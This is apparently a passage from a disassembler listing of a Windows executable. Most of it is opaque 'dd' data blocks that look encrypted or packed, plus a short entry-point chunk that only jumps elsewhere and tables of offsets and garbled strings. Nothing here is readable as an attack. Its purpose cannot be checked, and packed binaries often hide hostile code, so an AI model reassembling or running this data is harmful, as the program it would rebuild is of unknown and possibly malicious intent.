		dd 4AB0BEDDh, 4741028Fh, 0D71DECE3h, 211D9C79h,	253B900h
		dd 0C451871h, 0C7DFFF68h, 11FDE3B8h, 0F823487Eh, 0FC4D5200h
		dd 91636072h, 0D8511B74h, 7ED2008Ch, 264C9D3Bh,	36F8025Ch
		dd 59582892h, 0CFAF0088h, 0A8037161h, 0E9EDC09h, 2E680701h
		dd 0AB9D04D1h, 2B94420h, 53A7D9A3h, 5048E813h, 809E718h
		dd 90D05F80h, 0B03F3CD0h, 0FFA0955h, 100A72Fh, 9C7AAA4Eh
		dd 0F27F1F0Ch, 0A0AD7935h, 12EE7F8h, 4CC28C16h,	23765A31h
		dd 0E8AA015Ch, 0D0BD3280h, 0D00F439h, 0CB035DF3h, 0EF3CB1A6h
		dd 97690F8Dh, 1E92A07Eh, 2DB432B8h, 28203C3Bh, 0E4549149h
		dd 0EEB5E703h, 0E07D1099h, 5ABDA5Eh, 6E5D7EE9h,	1F38821Ah
		dd 97481840h, 13FFAC98h, 5F239871h, 502CF98Bh, 54579380h
		dd 0AB010C20h, 514EA9E4h, 8AE86AF4h, 0F2DC0514h, 5D5B0F60h
		dd 0C780BAD0h, 0D2BF28A8h, 0BD12DB5Fh, 1CC8164Bh, 5C6E001Dh
		dd 7BF43708h, 0C0054AFh, 55248A73h, 25F2BC04h, 0A803462Dh
		dd 59005E0Fh, 89B5E83Bh, 2C7DEEh, 0E06EC2E7h, 64ED12A6h
		dd 8462EDh, 1978BD9Fh, 54134542h, 731C0F1h, 6C2F21E0h
		dd 2C598009h, 35044F55h, 16F3DEB9h, 16ABA4B4h, 140B1F9h
		dd 8A675A08h, 2E9C62C3h, 33033D54h, 0C9F38E56h,	5C70F6D1h
		dd 293D1345h, 0C254CCAAh, 39F7F830h, 30BA8B55h,	7F11F2C3h
		dd 0CC0025A1h, 887E8DE7h, 0D00359h, 3A7D14ABh, 0BFA553B6h
		dd 0C68BF801h, 7187CCE1h, 16C5E430h, 9ADE308h, 14930CBAh
		dd 4BCFB5A0h, 0C7CD4601h, 0AE715A01h, 64C0A069h, 84A3AA2Ah
		dd 0A5B9703Bh, 8714A268h, 0C326C17Eh, 3B005C32h, 10D8BBE7h
		dd 910BE18Fh, 74A5B1h, 7C8AB6A8h, 0F6E328F3h, 4B3EF274h
		dd 0D05D1Bh, 0D9E4303h,	74008F38h, 0DCF129A1h, 443D2805h
		dd 0C20012B6h, 9385F046h, 0BCD1398Ah, 13380BA8h, 845B5004h
		dd 0F050D709h, 49F28414h, 432281Fh, 70167540h, 966C71h
		dd 0ED808550h, 8B1DF0D4h, 3D4C3AF6h, 0F2238058h, 0E05BD29h
		dd 20FFFB56h, 0B6DAD320h
		dd 0D80B08F9h, 8EADF33Ch, 0BAF0A098h, 18F1BFCFh, 0D1C016C6h
		dd 0F43CD0A2h, 0CD5C836Eh, 0F0EFA864h, 0B1D147C5h, 0B6350020h
		dd 0EB445FEAh, 6540F900h, 0FF52A1F4h, 25C209CBh, 4889A541h
		dd 0CC9DD584h, 0BC016420h, 612B35C2h, 0CA38A573h, 0EE8A9F00h
		dd 6D7E08DFh, 38E68CA0h, 27491E40h, 6C90356Eh, 61484A89h
		dd 553FF0B8h, 9CFEA2Bh,	41B26212h, 69AC7482h, 2D1F78F8h
		dd 29126144h, 813A01Dh,	80B4F80Ah, 0D7323401h, 48C89FDDh
		dd 71AF603Ch, 24E41B78h, 0B004D326h, 8BE51309h,	27600E49h
		dd 8A41170Fh, 7ADAAADAh, 36FA01D0h, 4BA7F4ECh, 8024281Fh
		dd 5771D5DCh, 9B4300E3h, 0AC0BE5DDh, 0EC00619Ah, 7445868Dh
		dd 7A2C7C6Dh, 0F040484Eh, 46CC5180h, 0F89C5952h, 0F82EB740h
		dd 1B97780h, 7FFC7E90h,	7164B207h, 0D039923Bh, 6667C020h
		dd 5A5000A2h, 7E38BCE9h, 95016514h, 0BFC92E27h,	0FC32E3F2h
		dd 0A1FDB200h, 0C5F85F48h, 639F6504h, 0F8E416BDh, 0FD47955h
		dd 4624E82h, 8079BB87h,	0AE4630C0h, 0E0727B04h,	20F21C02h
		dd 0A2DDC100h, 0A96DF8FFh, 0B3C47709h, 0CEA405A7h, 0D4E0C80Ah
		dd 0DF073D05h, 0A4C7F481h, 11284E0h, 51F1EBF4h,	603C2C33h
		dd 988AA020h, 7D7A6B58h, 53DE0EDAh, 0E2F806Dh, 42E7BD6Eh
		dd 200CC57Eh, 45A192A4h, 0D80BD500h, 0CB1CB92Eh, 5B542DF9h
		dd 7164B090h, 0B5316367h, 0CC075EC0h, 1681EC5Bh, 0BCA62A93h
		dd 456114EAh, 0DEF883F8h, 0E03CB2AFh, 4CDCC2E6h, 8896848Fh
		dd 5B002E38h, 0D830C656h, 0EE368E99h, 0BE900AFEh, 3E40705Ah
		dd 0BC387400h, 3D4626C3h, 0E319B960h, 7EC54F50h, 188800F9h
		dd 378E95F8h, 7CF12CB8h, 43DF80E8h, 176CE75Eh, 0AA0AD310h
		dd 94302500h, 627FD9D1h, 791A7047h, 13E838E1h, 0CE6EE055h
		dd 0DA611254h, 0A0A880CDh, 6F076D41h, 0F747EA2h, 48348058h
		dd 4986E432h, 5838973Dh, 0D83E24B0h, 8C86D13h, 21AC0008h
		dd 33A26779h, 2000588Dh, 0AFB6E450h, 3EB181E2h,	0A10BD59Dh
		dd 18A2EAD3h, 0D4646D64h, 6B2F5100h, 2275E0C4h,	474A0BD6h
		dd 0E42294A5h, 747ADBC2h, 7640A496h, 9F7C8Fh, 4ACB886Eh
		dd 0A70B4534h, 0C0A8955Ch, 39543342h, 0C9070A62h, 80202B7Dh
		dd 1EEDB25Ch, 0DC025481h, 1A092DF6h, 0E1F440CDh, 0F3714B4h
		dd 3D0190D4h, 1B2E32DEh, 0DA64F44Dh, 3400317Ch,	6550F44h
		dd 16AF016Eh, 0CF97C3h,	0F2589488h, 0F4B17E30h,	90007611h
		dd 14E7C9ACh, 9D00BCFBh, 2FC26039h, 0EE107Dh, 541EA269h
		dd 9BECC0BFh, 750002B8h, 0CD456A49h, 0B9C3B9D5h, 8E9E005Ch
		dd 2E3B186Fh, 44DC5E00h, 3AA9CC12h, 5B860F7Ch, 0C0E2F7F4h
		dd 0A0441346h, 0C5351C00h, 8CA1C66Ah, 737807DCh, 0E08D476Bh
		dd 48BE08BBh, 13FA1090h, 7A6A7D01h, 0E6527559h,	6243D851h
		dd 60E5F811h, 0FA18F9C9h, 0F661C215h, 461A0014h, 0B4A2DEA7h
		dd 7B046836h, 330296B3h, 0ED343881h, 0F6F9D4h, 3F776521h
		dd 0F1B33D4Ah, 1D2EF31Ch, 22EC48C4h, 607D3082h,	1C463ABCh
		dd 1FE04BDEh, 0E3CD0737h, 662E40F5h, 364CDF41h,	0CC28012Ch
		dd 0B5FB6AA2h, 0AE0FF4h, 5B7C3ED7h, 8E8D7022h, 71409E00h
		dd 9107BB2Dh, 14555811h, 4654E00Eh, 21752580h, 0EB004BB0h
		dd 3968B59Bh, 283D74A8h, 3CCCD550h, 0C5007254h,	108FF0A0h
		dd 14B93AF2h, 0BF2F9339h, 27939C30h, 0F268001Fh, 754A23A2h
		dd 0CB0092B5h, 76B98481h, 4B7BBEh, 0ED0BB298h, 34DE66C5h
		dd 0AF6F6127h, 0BC3CA408h, 4EE99B40h, 0FC264722h, 446000C0h
		dd 1F672F6Eh, 0E10FD88h, 494014F9h, 0D4D76A4Ch,	30A19C04h
		dd 0B880A8B3h, 3B749BE4h, 3C4CB81Ah, 26E4300h, 6805BBB1h
		dd 7BAFF02h, 0C2842373h, 97F00017h, 3ED7EB2h, 0DD1A774Ah
		dd 0D7E0323Fh, 40135ABBh, 782015F0h, 7B9E5F3h, 59220AB1h
		dd 0D3C680ECh, 788C9457h, 174EC4Ah, 66623F13h, 2C3971B0h
		dd 0C1638098h, 2CE7983h, 0E7934BFBh, 0BB4294B8h, 0C787AC12h
		dd 8266A0B6h, 2600FB22h, 8735C6E7h, 160F9192h, 80BD1B32h
		dd 0B188C76Ch, 0DA016BE8h, 0DE2D0A3Ah, 0B050480Fh, 5093C3h
		dd 6D88DB9Dh, 1A35F2CEh, 0C17C0900h, 255C4E30h,	9277C5h
		dd 9E578822h, 0AEB42E2Dh, 9DEF4500h, 3A3555FBh,	9BED2C58h
		dd 0AC690AA4h, 0A86B02B4h, 0AC784B97h, 0C46FD925h, 39E000E4h
		dd 54F8E29Ah, 9409EDB5h, 708B4FB6h, 0DF9B1CA0h,	0D316D23Dh
		dd 25F08710h, 96FCB85Ch, 3A6A9C00h, 35692ECAh, 61C30E8Fh
		dd 2A270AA8h, 201B75DDh, 0C7275C8h, 0A9BC6C0Fh,	95844078h
		dd 1E7493B6h, 0DD3FD32Bh, 414C9C66h, 0DDAC047Fh, 7E49F890h
		dd 95E90C05h, 8B4F7C2h,	0D0B8543Dh, 723B02DEh, 0D4686E62h
		dd 785EA4E2h, 5ABC7802h, 48AC645Ch, 5F0530ABh, 0C213E671h
		dd 78F16870h, 938D4481h, 34631D65h, 0DB10BC00h,	0A97E8F3Dh
		dd 908B5Ch, 42CD945Eh, 91C13F38h, 96268014h, 0A5925452h
		dd 288C6600h, 0A8C5A0C4h, 38DD2F1Ch, 7F2516F8h,	2A44446h
		dd 14858DF1h, 88C11C10h, 0EB25F2DEh, 1B00C0F2h,	0C68573B6h
		dd 901479Eh, 0E90FDB5h,	0F44033EBh, 40313974h, 9C073429h
		dd 4AA9ACB5h, 0BB17D5C0h, 3D05254Dh, 27CD2820h,	0D02C6C53h
		dd 49126495h, 10DCC001h, 2C616844h, 0E88C57DCh,	105864E4h
		dd 0DCF282h, 0EE1CED2Ah, 1CC3665Ch, 8035F899h, 3A32D925h
		dd 9C026C43h, 617305B2h, 47CE46Dh, 7BD41A8Ah, 76E8C7B0h
		dd 150B5814h, 8464D1DDh, 54CC55C0h, 2C6B00B0h, 99D3B960h
		dd 760E63C3h, 0A83ACh, 1C9C427Fh, 0F08864A5h, 0D088C06Dh
		dd 0B117E96Eh, 78305480h, 167A7A5h, 10A6BE60h, 618C93A9h
		dd 6BC44080h, 0C1058225h, 0E2C26D7Fh, 1375E4A4h, 8888277Ch
		dd 1C0062F0h, 0DB82444Ch, 77E0DFEBh, 515204FBh,	0A2EC0BD8h
		dd 2EB80004h, 0C972A6B0h, 0D2350782h, 0F997A499h, 0F9EAF464h
		dd 0B0E51A02h, 625B6667h, 0F3808188h, 6468BF51h, 80D81E9Ch
		dd 853DE12h, 9C76CB9Fh,	615B9609h, 44B04476h, 3E070F85h
		dd 0D15B5607h, 208D5220h, 0B8A5007Eh, 2FD53BACh, 0F7D0637h
		dd 7A0178B0h, 8BAF2EBCh, 946216FEh, 0CBAC0700h,	0C809D359h
		dd 28CB100h, 0C1BF0B9h,	42642DE8h, 7451E4A0h, 18902624h
		dd 0A5F13416h, 89EF3C08h, 4079E5C2h, 70305413h,	1E6E2Ch
		dd 329D34F3h, 3DA56FB6h, 24AFD0Fh, 0D9058979h, 58978918h
		dd 0BB74D402h, 34C42Bh,	31629551h, 979C1A2Ch, 17685D09h
		dd 111090D0h, 88540B35h, 30B6E58Fh, 0DE554B0Eh,	941B4492h
		dd 49D69CBCh, 0B452C398h, 7C253400h, 91106C14h,	0E9F907B6h
		dd 0A165A064h, 0F037F881h, 0F6488370h, 497B09C8h, 1E18E4CBh
		dd 0F9D00558h, 62D36180h, 53703EF8h, 0ACBF6617h, 0A58BC430h
		dd 0F0BE1F1Dh, 0C044006Dh, 0A3B86102h, 8B98A07Bh, 82FF952Dh
		dd 60BCD1C8h, 128B0B48h, 0D037F2DAh, 4432DCA0h,	4B8EE216h
		dd 1C3C488h, 8040375h, 0DFA0B094h, 0E8C648FAh, 5582F900h
		dd 5808DFAFh, 0F8C10B2Eh, 3C80EA43h, 6356B30h, 5B4E9498h
		dd 9382820h, 72680098h,	8CAB7ADBh, 1B257B4Ah, 268100Eh
		dd 0C079071Dh, 0F37E7Fh, 0F211872Eh, 15F4E152h,	18DCDDh
		dd 80F4CA19h, 4C814140h, 91C40C38h, 4936C0DDh, 0B12CBB47h
		dd 5C1C22FCh, 71E4DC3Eh, 928A7300h, 6EDD26Eh, 0E64314F6h
		dd 3E0098DDh, 0B930138h, 0A1F0E05h, 0FF3E8615h,	0F2082060h
		dd 0C5407497h, 19AACF2h
		dd 56C238ACh, 0CD8AFCEFh, 74E98E77h, 0B17CC658h, 0F2571F04h
		dd 74EC1C0Ch, 5E3E8280h, 0D85C24FBh, 0B07F1134h, 8D680900h
		dd 0DCCACAFh, 0BF547400h, 0B28C37A0h, 0A8AA1494h, 4C2CB002h
		dd 4CE81104h, 5C167AD8h, 0C4009C46h, 943C3565h,	0E0909741h
		dd 877FD866h, 5500BDE0h, 0A243C2Bh, 0DE972Eh, 948193C4h
		dd 7DF0676h, 9090792Fh,	77DA4344h, 0C07350C6h, 0A36E2C8Dh
		dd 1DFA603Ch, 0C1008B70h, 856A401Ch, 26DBA6D2h,	3DE08A0Eh
		dd 41F4C8CAh, 31099100h, 817434D5h, 0C5C902A2h,	491361B0h
		dd 0A4EEE0A0h, 0AE0054A8h, 4AA3034h, 0C5AC84h, 9F36796h
		dd 15EBBEFAh, 8800A899h, 0C22F2C18h, 0D1590679h, 1ED62849h
		dd 64725A27h, 27814F48h, 0B0EBF734h, 9A2C8B17h,	0EDDCA400h
		dd 0C41E5210h, 4B586Dh,	2348884Fh, 311FCD00h, 748B435Dh
		dd 0B830129h, 2DF2151Ch, 1429BCF4h, 8FDAE8h, 4605BB28h
		dd 9345404h, 0C7AA775Eh, 7CEE34E4h, 985F8602h, 7E4564B5h
		dd 75CB80ACh, 0D7F8EC28h, 1F88B705h, 8C201684h,	0A0C858h
		dd 596774EDh, 194B68AFh, 0D5BE5409h, 7F2B80D0h,	0C97A2EF3h
		dd 74DA0C31h, 16D6710Fh, 0C6FCA02Dh, 9FE9DAh, 0F133781Ch
		dd 9BE8C7A4h, 36A2E090h, 15008C66h, 44B2BDE0h, 0C099AAD5h
		dd 18B5A698h, 0CF4CE5F7h, 297E02D2h, 74FEDBC2h,	53E84410h
		dd 0E13BA000h, 1D2F4570h, 45122DDh, 88CF3FF2h, 2B071808h
		dd 2A67327h, 68B67090h,	0E56C2438h, 0C7D91DA0h,	604B92DCh
		dd 5FEE2B7Dh, 0D004D212h, 0EC537C23h, 0D3A37681h, 88BAA424h
		dd 1D016EABh, 8A188E42h, 0F160E326h, 70135054h,	79A20008h
		dd 0ABE4F6E8h, 6905E550h, 0E06EB195h, 0F8B23CD5h, 0B8A91900h
		dd 7035D380h, 14BD0E01h, 2864F292h, 7F4754F0h, 80C24B9Ch
		dd 1BC18C60h, 0AE005091h, 0D3EBB91Fh, 0AA140166h, 0F92A4738h
		dd 0C0053A4Dh, 24CC1D7Eh, 0BF990B9Dh, 2A07CAAAh, 86E35067h
		dd 0B3004924h, 112ED8BEh, 5C8E3A8Bh, 7E2CCC64h,	9F61148h
		dd 46E2A75h, 0D2333860h, 88039C2h, 9C54A6A9h, 0D9587BF8h
		dd 2115C3ECh, 0FC9E0386h, 7D18EF99h, 2550D1A7h,	0C82C303Ch
		dd 9071AC27h, 0A82F50h,	0A1EF65D9h, 0F2E038C4h,	48AD2E44h
		dd 6DC0FC18h, 0CD2D9B61h, 0EF2A7B00h, 1499C8BAh, 6C060185h
		dd 0C2C5FADDh, 0DC9C3092h, 6497C313h, 0B2021CA2h, 0E9C2D4E1h
		dd 0A8007489h, 7BB4BB9h, 9CAB5024h, 0D8589D00h,	0B640DA64h
		dd 9F5740C4h, 0A00097EDh, 81FEB91Ah, 4EBB3Dh, 2A7343A7h
		dd 0A638295Ah, 511238A4h, 90F2247Eh, 4CE07A00h,	22B580B2h
		dd 25454407h, 36C24F3Fh, 0CCC668h, 0B9A77C75h, 0BA918D41h
		dd 0F8004A7Ch, 532464EAh, 58D9BD25h, 0EF161027h, 0DA380BA7h
		dd 58001471h, 0F1749F12h, 0C1871FA6h, 0F18ED9C2h, 93AC2C45h
		dd 0F4708CCh, 84EFBC26h, 0BA54AF00h, 911F5C53h,	382CA8F4h
		dd 0F4CB060h, 0DF782EDDh, 0C31C26BCh, 9C98FE0Ah, 85132D74h
		dd 54200FAEh, 4C3D7Dh, 8B98F69h, 0A595D092h, 8C23E5h, 0B53199A7h
		dd 7F3AFB8h, 0F6401027h, 7CBBA0E9h, 0B914B3AEh,	4D8828Eh
		dd 8F37F709h, 0E6C20CC0h, 2E422650h, 3E511D28h,	3C0362A7h
		dd 9CF001AEh, 605C1A1h,	6322778Bh, 61104282h, 0DC10E8CCh
		dd 0C2263D05h, 0E563EC49h, 0CBC1B888h, 6C32010Bh, 0A5C55117h
		dd 0F776803Ah, 0FC4AC32Ah, 0BAA80258h, 655175AAh, 3F26A8C1h
		dd 4713684Fh, 7DA06B74h, 0BA41575h, 1F667367h, 0BDBBE080h
		dd 350163C4h, 0D34CA1AEh, 0AC7064A2h, 48018BF6h, 0FDF991Dh
		dd 7A82E0A7h, 0AE2890DEh, 8A062C60h, 9BFB4A00h,	0D7B7CD4Ch
		dd 134B2541h, 372B7448h, 0BD20C53Dh, 0DB598346h, 2212269h
		dd 0AA38DA58h, 70443D4Bh, 0B07E4500h, 0E1712926h, 0FC4C00E9h
		dd 7B8B760h, 7601D323h,	64927542h, 2B176B6Ah, 3332A060h
		dd 5D941A02h, 444264BDh, 0C4DD0180h, 52C2D708h,	0F8602BF3h
		dd 885B0C45h, 9903EB44h, 6912325h, 0D5EEE048h, 20DF4A5Dh
		dd 7A07F128h, 0BF187600h, 3DA661Dh, 98B09A5Ch, 1AC50008h
		dd 6DDC3AF8h, 612858A7h, 0CF4B5468h, 76A55C40h,	50905202h
		dd 1519D7Dh, 0DB472546h, 238A2DC5h, 8F4D00F8h, 0BA7E2E1h
		dd 34FD3EFBh, 1852DE07h, 0B52210C0h, 0A7FA1CB2h, 753BDD07h
		dd 2A543E5Fh, 0E8328083h, 88761156h, 7771E93Ah,	5DCF0A00h
		dd 0BF30EEF8h, 88250084h, 0EC469EBBh, 562DDA3Ah, 4FC0493Ch
		dd 1E85FCFCh, 40947924h, 0E151881Dh, 1A0274CCh,	5E3D969Dh
		dd 0F8D0E155h, 829CB8CBh, 718E01DCh, 0CC125D7h,	0FC819369h
		dd 339C5900h, 7FC6407Bh, 4DAA00F3h, 6E9B85B8h, 8042226h
		dd 8E66E31Dh, 23DB18C2h, 9178E4F2h, 0CA4E6F9h, 0F4942230h
		dd 1DF882B4h, 9C5973EBh, 0A7E62E07h, 6D5A0EB0h,	41970A58h
		dd 80748984h, 850218FEh, 0B300B666h, 0E1F0F804h, 2BC3BA3h
		dd 924DCC45h, 7856765Ah, 5DEB650h, 3B66C855h, 33448369h
		dd 0B86647C2h, 9F353A00h, 9C304A21h, 6918001Dh,	0B5A576FCh
		dd 4501947Dh, 0E8D1F5CDh, 202BA90Dh, 0E4364248h, 28C24300h
		dd 0ACAA341Ah, 33CC031Fh, 4CD3DD86h, 0F18BF8F1h, 3DFE8BBh
		dd 4DF008C0h, 2C625C2Fh, 340899Fh, 172E45ABh, 0B07E55D2h
		dd 0E7B705BCh, 98028EE6h, 0E168633Eh, 8C149F38h, 1501D3E4h
		dd 9E2D5C18h, 0DC207CFFh, 0E22E17C7h, 0B258C2C0h, 4F8C6073h
		dd 78D458DBh, 0F7BF532h, 4E8BA1B0h, 7BB8E498h, 5D93230Fh
		dd 2C9583B4h, 0F87D8A7h, 3FD109B6h, 64014A96h, 7B9E613Ah
		dd 1D6B6400h, 0DD643D98h, 1AAC40A9h, 7D72FA88h,	34DE1116h
		dd 82C8CA03h, 6EA898F1h, 40F89638h, 8D36C2E2h, 0D45EF426h
		dd 61EFAB1Dh, 0A4380724h, 70A21280h, 23B02BB2h,	92A66300h
		dd 523CC7C5h, 105018Fh,	0F2AE78CAh, 0E03236h, 1F7FB4B5h
		dd 96DADD30h, 0D38E4F28h, 874E0096h, 63AB042h, 8073E138h
		dd 3B2A2F33h, 0F63454A8h, 0A3C112C5h, 88F289h, 5A414BB4h
		dd 77B76FAh, 0F97C396Eh, 9B46D05Fh, 4513E5F8h, 0CCF4C3BFh
		dd 253C0005h, 0F1FA5B01h, 0AA1E2CEDh, 35844BBCh, 0F4E6DBC2h
		dd 78647058h, 71A888CFh, 44147AE8h, 0E0042Ch, 0AE970CD5h
		dd 14E87B74h, 0C89AF768h, 0F445640Fh, 0AEC0AC14h, 0FF3603ECh
		dd 0C0A80758h, 0E3E732B2h, 0E644004Ah, 153E5DEDh, 290031EBh
		dd 41D1BA70h, 1F55F21Eh, 82323D2Bh, 3C588EC5h, 0E39E647Ch
		dd 48213FC0h, 0A034902Dh, 984EE0D4h, 8884FC10h,	0A688B53Dh
		dd 0CB0E0049h, 2C85121Ch, 0D5275AE2h, 4B1C104Fh, 0B11000AFh
		dd 6D7E1918h, 74E858BEh, 2097860Eh, 420976D1h, 35740076h
		dd 2D8A8D93h, 909002F6h, 889046EBh, 443C5501h, 1342E0B0h
		dd 301C4F6Ah, 0C09FCD6Fh, 8C6176E5h, 37003EF2h,	0A7C30194h
		dd 8886D17Bh, 49008BB8h, 0A40CAE36h, 1E31F6A6h,	0C75CBB9Ah
		dd 0D0509F6Bh, 65C7F88Ch, 0A6A89513h, 47CE9400h, 2F30531h
		dd 5ABFB10Ah, 0F501B371h, 5E2A4364h, 1A36CE4h, 0E08B41DFh
		dd 2C73C0h, 0C10782BAh,	0BC26Ch, 73D26A29h, 0F82DB595h
		dd 76744404h, 10845157h, 3CC89916h, 0B31C00FFh,	0E6556D0h
		dd 314CD70Dh, 0BEE80C71h, 0B584304Bh, 0CF946802h, 8D82CCF9h
		dd 81458CDEh, 67B422B0h, 0F675B442h, 0B0003AA4h, 0C2DD5521h
		dd 0A8078D8Ah, 7880AEDFh, 28F858D4h, 0D75CAD80h, 0AF008EDEh
		dd 0E4E1B233h, 1477176h, 0CEA47E3Bh, 30D3F195h,	9F33401Ch
		dd 832500Dh
		dd 4ACF2E10h, 87341B00h, 9E206BFh, 487EE0EAh, 7302F0E4h
		dd 7262439Eh, 536057A5h, 7C2ABF6Bh, 19FE44E2h, 58170100h
		dd 9BB5FFB0h, 18A90036h, 7C1D6599h, 8800A163h, 98851074h
		dd 0B8814E64h, 977501CCh, 0C279C5EBh, 98376EF0h, 7548020h
		dd 695A0AB0h, 97E8F44Eh, 80CCB26Fh, 21831B57h, 99480E15h
		dd 3E00868Dh, 0BE2CBF16h, 7B7CF51Eh, 84ECD9CBh,	5A446394h
		dd 37CCF45Ch, 0EC51E124h, 0CD866B1Ch, 2F7609D3h, 0CFF6CA08h
		dd 0B460102Dh, 3D16E02Ah, 0EE801E13h, 461F46Dh,	4C4831FCh
		dd 297501F1h, 0E3F2C078h, 4B4407Bh, 97A63694h, 80C4C358h
		dd 0EFFA1CB1h, 70AFECA1h, 4569004Eh, 0C8187442h, 9B00EC84h
		dd 8EBB38B5h, 0A43D571Ch, 152000B8h, 899AFE6Ch,	7300C395h
		dd 0A1CD17A9h, 0B8EA1BE3h, 40C25B49h, 0F960EC5Ch, 0E9002E26h
		dd 0F2252130h, 1209C871h, 8B39208h, 1F8FF44Ch, 102FEB58h
		dd 4C0BD60h, 0A08D497Eh, 0B8588523h, 7FA803Ch, 1F8274DAh
		dd 8E987181h, 6A626501h, 505986E0h, 42AED200h, 64CCC834h
		dd 0F3E36081h, 47C50324h, 81C49914h, 202F53E6h,	853F7A38h
		dd 9467311Ch, 0D4C4EDh,	2E2C934Bh, 0C8C6FC8Bh, 0AE5EBC07h
		dd 0A4E1CCFFh, 0B442A8CFh, 4B8329DDh, 8A98765Fh, 0F231CA7Ch
		dd 0BFAD4938h, 88B7E820h, 6A03C0D5h, 1E6F8540h,	6C34A8C1h
		dd 81E82FA9h, 8400D4E4h, 0F37A887Bh, 8E259Ah, 83142285h
		dd 0CEB2B37Fh, 9C2C8D09h, 0DCFC00ADh, 12227894h, 206A5B52h
		dd 5A0D3D38h, 6C51036Ah, 3C07DA05h, 0D4E57C00h,	0E46ADC0Ah
		dd 9F0CA96Eh, 24E4C70h,	2F5FCCC4h, 0DDE0528Bh, 0F905FC08h
		dd 0D36EFEC5h, 0CFF3E080h, 0EDAA88DBh, 429E4E00h, 0C8407956h
		dd 0A9E13C1Fh, 0F03E2B00h, 0C3BADB8Eh, 0B500A891h, 9819E0A0h
		dd 9E3F00B9h, 0FB13B722h, 0B605A755h, 0B48BE17h, 0A42D800Ah
		dd 0E4EB404Fh, 0B337404h, 60DE7F7Eh, 0F40108B2h, 702AB5E4h
		dd 0C2117B30h, 9448F6E5h, 165DC054h, 0E3D8D688h, 569F0E40h
		dd 0BB0CE0BAh, 2D02C207h, 9C2937F2h, 8CFA5418h,	887C4400h
		dd 41928257h, 0EFFE0366h, 79615532h, 40F73127h,	2D500EF4h
		dd 84908EF6h, 0CC16CA64h, 59012819h, 72C13D13h,	2C3F7C60h
		dd 0B7E8DDDh, 8458BCEEh, 0F666D21h, 0F1494622h,	0E342C444h
		dd 880605Ch, 0FCA8E69Dh, 4EA90D00h, 39CDA727h, 0E6C1E410h
		dd 594713ABh, 258C0B5Fh, 78091CF3h, 0C8FA0Ch, 0AFB0113Ah
		dd 72030BEFh, 3F096913h, 0B12E3CC0h, 5AFB0506h,	9C9EE89Dh
		dd 0F6181B80h, 7711F8C2h, 6D250474h, 80BF78DEh,	0BA4636F0h
		dd 4204B4Bh, 76C953Eh, 0DFC3587Eh, 523B50AAh, 0A60C072Dh
		dd 78A554B0h, 0DA61173Fh, 155C001Dh, 398D4EB5h,	0BC5B5A11h
		dd 96AD2E00h, 59501083h, 0B6AF7550h, 82354E00h,	9C5174B2h
		dd 0C2841F8Bh, 30EC17BFh, 761A9A50h, 0D25CE376h, 75E0C084h
		dd 0BA2060Eh, 4339289h,	4B764898h, 2B2FB402h, 0F9658EACh
		dd 67A100E0h, 0B7976A63h, 1A28EF1Dh, 34BA2F80h,	192BDAF3h
		dd 0B81CD14Eh, 390710B7h, 0EF5612A9h, 2464B40Fh, 0C31C837Dh
		dd 0BC8A7E29h, 0FF5F01CCh, 6CFFh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4EDCB7:				; CODE XREF: start:loc_48F265j
					; DATA XREF: start:loc_48F086o
		jmp	loc_4F1008
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 0Bh dup(0)
aQucw		db 'ï“çw',0
		align 10h
		dd 0
		dd 5D9B47FAh, 9	dup(0)
aNnS		db 'Ä‘',0
		align 10h
		dd 3DB6F7DEh, 4	dup(0)
		dd offset dword_4F0648
		dd 3 dup(0)
		dd 0ACBDh, 0FFFF9174h, 2 dup(0)
		dd 77E8360Ch, 0
		dd 9B69DDh, 1, 6667706Ch, 2 dup(0)
		dd 6, 602Eh, 2 dup(0)
		dd 1, 1FEF77F5h, 5 dup(0)
		dd 77E6003Ch, 10Ch, 54369Bh, 4 dup(0)
		dd 77E7A144h, 2446B9Ch,	7 dup(0)
		dd 30DFh, 2 dup(0)
		dd 7FFE0304h, 0
		dd 2550000h, 8 dup(0)
		dd offset word_544B0A
		dd 9B9234h, 0
		dd offset byte_55C5C9
		align 10h
		dd 35Bh, 91h dup(0)
aBd		db 'BDÆ)',0
		align 10h
		dd 0
		dd 0A4h, 9 dup(0)
aCw		db 'µ\çw',0
		align 8
		dd 77FFFFF4h, 9AD554h, 5 dup(0)
		dd 0FFADA8E8h, 2 dup(0)
		dd 77F7EBB3h, 0Bh dup(0)
aW		db '×#Ýw',0
		align 4
		dd 3 dup(0)
		dd 0FFB86199h, 7 dup(0)
		dd 0FFAC348Ah, 0
		dd offset dword_561238
		dd 2 dup(0)
		dd 12FFA4h, 2 dup(0)
		dd 0E11FCBF0h, 761D3B19h, 55DBFBh, 0
		dd 9B2292h, 7FFE0304h, 0
		dd 0FFFFFFA4h, 2 dup(0)
		dd offset word_52FD5A
		dd 91E6h, 448E465Eh, 0
		dd offset loc_403048
		dd 2 dup(0)
		dd offset byte_55AF05
		align 10h
		dd offset dword_450050+28EC4h
		dd 4 dup(0)
aSAIe		db '˜Ç ',7,'©…¾>',0
		align 10h
		dd 7 dup(0)
		dd offset byte_539A99
		dd 0
		dd 1, 5	dup(0)
		dd 77E7A099h, 0A7E5A0Ch, 535012h, 4 dup(0)
		dd 0FFABA580h, 9B9234h,	7FFE0304h, 0Eh dup(0)
		dd 77F5180Bh, 4084EAA8h, 0
		dd 0FFFEB480h, 526B55h,	4 dup(0)
aSSwcsq		db 'è/èwæ‘Q',0
		dd 6 dup(0)
		dd offset loc_403048
		dd 4 dup(0)
aNSLr		db 'N`¸éÈ‹R',0
		dd 4 dup(0)
		dd 7FFE0304h, 8	dup(0)
		dd 80h,	0
		dd 0AB1FBFh, 3 dup(0)
		dd 90E5h, 33h dup(0)
		dd 0FFAD1468h, 0
		dd 18B96845h, 0
		dd 0FCB188F5h, 0
		dd offset dword_532F18
		dd offset byte_5218C3
		dd 63C4h, 2 dup(0)
		dd 6BD4628h, 2 dup(0)
		dd 0BB80h, 77FC5024h, 5	dup(0)
		dd 73FEF603h, 3	dup(0)
		dd offset dword_4EF510
		dd 3 dup(0)
aVlcw		db '‚‹çw',0
		align 4
		dd 18h dup(0)
		dd offset byte_527A37
		dd 6 dup(0)
		dd 77F7EBB3h, 0Ch dup(0)
aSjiw		db 'é¦ëw',0
		align 10h
		dd 1AAC1h, 0
		dd 0FFEFC7FDh, 0
aM_0		db 'MѶ\',0
		align 4
		dd 3 dup(0)
		dd offset word_544C2E
		dd 0
		dd offset aJse+1
		dd 7 dup(0)
		dd 77DD59F0h, 0
a8uo		db '8žO*',0
		align 2
